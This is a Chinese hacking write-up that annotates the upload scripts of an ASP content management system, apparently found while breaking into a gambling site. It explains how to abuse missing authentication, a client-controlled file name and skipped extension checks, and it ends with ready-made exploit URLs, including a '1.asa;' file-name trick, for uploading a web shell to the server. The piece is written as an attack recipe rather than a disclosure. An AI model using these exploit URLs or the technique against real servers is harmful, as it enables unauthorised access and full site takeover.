拿赌博站时,遇到的充值地址在这个程序的站点上,所以就去下载了份,略过看注入点,直接看上传地方. 文件u_sc1.asp源码:
<!--#include file="../include/yiwebchina.asp"--> <% session("fuptype")=request("fuptype") ´此处先接受fuptype,存入session("fuptype") ,下一个文件需要利用 session("fupname")=request("fupname") ´此处先接受fupname,存入session("fupname") ,下一个文件需要利用 session("frmname")=request("frmname") /*省略代码*/ <form name="form1" method="post" action="u_sc1save.asp" enctype="multipart/form-data"> <b>请选择要上传的文件:</b><br> <input type=file name="file1"> <input type=submit name="submit" value="上传"><br><br> ·点击“上传”后,请耐心等待(不要重复点击“上传”),上传时间视文件大小和网络状况而定<br> ·为节省空间,如果是图片文件,请尽量优化,建议单个文件不要超过50KB。<br> ·传送大文件时,可能导致服务器变慢或者不稳定。建议使用FTP上传大文件。 </form> 文件u_sc1save.asp源码
<!--#include file="../include/yiwebchina.asp"--> <html> <head> <title>文件上传</title> <meta name="Description" Content=""> <LINK href="../images/css.css" type=text/css rel=stylesheet> <LINK href="../list/newhead.css" type=text/css rel=stylesheet> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"></head> <body bgcolor="#D9EAFC"><table align="left"><tr><td> <% fuptype=session("fuptype") ´利用点1 fupname=session("fupname") ´利用点2 frmname=session("frmname") if fuptype="" or fupname="" or frmname="" then response.write "<script language=´javascript´>" response.write "alert(´出现错误,请重新上传!´);" response.write "location.href=´javascript:history.go(-1)´;" response.write "</script>" response.end end if %> <!--#include FILE="upload_5xsoft.inc"--> <% set upload=new upload_5xsoft set file=upload.file("file1") if file.fileSize>0 then filename=fupname+"." ´此处属于利用点2,直接把URL里的fupname值改为1.asa;,原因很多人懂滴 filenameend=file.filename filenameend=split(filenameend,".") n=UBound(filenameend) filename=filename&filenameend(n) if fuptype<>"db" then if file.fileSize>200000 then response.write "<script language=´javascript´>" response.write "alert(´您上传的文件太大,上传不成功,单个文件最大不能超过200K!´);" response.write "location.href=´javascript:history.go(-1)´;" response.write "</script>" response.end end if end if if fuptype="adv" or fuptype="pic" then ´问题也在这里出现了,当fuptype=adv或者fuptype=pic时才判断后缀 if LCase(filenameend(n))<>"gif" and LCase(filenameend(n))<>"jpg" and LCase (filenameend(n))<>"swf" and LCase(filenameend(n))<>"htm" then response.write "<script language=´javascript´>" response.write "alert(´不允许上传您选择的文件格式,请检查后重新上传!´);" response.write "location.href=´javascript:history.go(-1)´;" response.write "</script>" response.end end if end if if fuptype="adv" then ´此处利用点1,接下来是判断fuptype值了,ADV和PIC不能利用,乱填的话,上传后不会返回路径, 所以可以利用的只有pic1,link,db了随便选择一个就行了 savepath="../images/adv/"&filename elseif fuptype="pic" then savepath="../pic/digi/"&filename elseif fuptype="pic1" then savepath="../pic/digi1/"&filename elseif fuptype="link" then savepath="../images/links/"&filename elseif fuptype="db" then savepath="./"&filename end if file.saveAs Server.mappath(savepath) response.write "文件上传成功!上传文件的物理路径为:" response.write "<font color=red>"&Server.mappath(savepath)&"</font><br><br>" response.write "<a href=´"&savepath&"´ target=´_blank´>点击预览上传的文件</a>" response.write "<br><br><INPUT onclick=´javascript:window.close();´ type=submit value=´上传完成´>" %> 此文件所涉及的3个文件yiwebchina.asp,buyok.asp,functions.asp都米有验证ADMIN,所以直接利用吧
漏洞利用1:
http://www.hackqing.com/admin/u_sc1.asp?fuptype=pic&fupname=1.asa;&frmname=youpic
(上传SHELL的图片格式) 漏洞利用2:
http://www.hackqing.com/admin/u_sc1.asp?fuptype=pic1&fupname=banner3&frmname=youpic (随便上传)
http://www.hackqing.com/admin/u_sc1.asp?fuptype=link&fupname=banner3&frmname=youpic (随便上传)
http://www.hackqing.com/admin/u_sc1.asp?fuptype=db&fupname=banner3&frmname=youpic (随便上传)
都注意SHELL文件不要超过限制200K(除开第四条DB上传外)
Author:村长
|